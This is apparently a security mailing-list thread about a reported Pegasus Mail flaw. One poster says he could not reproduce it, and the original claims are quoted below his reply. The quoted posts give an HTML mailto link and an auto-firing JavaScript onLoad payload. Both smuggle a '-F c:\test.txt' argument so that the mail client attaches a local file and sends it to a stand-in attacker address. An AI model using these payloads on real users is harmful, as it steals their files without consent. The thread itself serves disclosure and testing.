Hi all. As a devotee of Pegasus mail, i figured this could be quite serious.
I therefore did some testing to see exactly what this 'bug' really could do.
I installed Pegasus as a single user default install on a system that has
never had Peg installed (NT4 sp6a). I cretae dan html file with each of the
proposed href links, created the test.txt file and also included a couple of
clickable 'mailtos' with paths to real life files.
Under a default install of Pegasus which sets Peg up as the default mailer
for IE, this does not work. Well, yes, the mailer pops up if running, but it
does not create or send a new message. This applies to the Javascript
'onload' tag and the clickable link. Maybe someone could post the details of
the exact configuration necessary for this to occur as described by Imran.
Cheers,
Brad

very interesting as a little javascript can 'click' a link for you..

<BODY onLoad="location.href='mailto:hacker () hakersite com -F
c:\test.txt';">

havent tested since i havent got pegasus mail, but it works
for what i used
it for earlier('clicking' the its:its:its. link)

When using the following html,

<a href="mailto:hacker () hakersite com -F c:\test.txt"> Click
here</a>

When the user clicks on "Click here" Pegasus mail will
automatically creates a message which has a copy of the file
"c:\test.txt" and is addressed to "hacker () hakersite com" and
queues it ready to be sent without any further user intervention.

If instead of "hacker () hakersite com" we have a local user,
"hacker" the message won't be queued but just sent immediately.

As inorder to have files stolen the user would have to click on the
dubious looking link, is this security risk serious ?
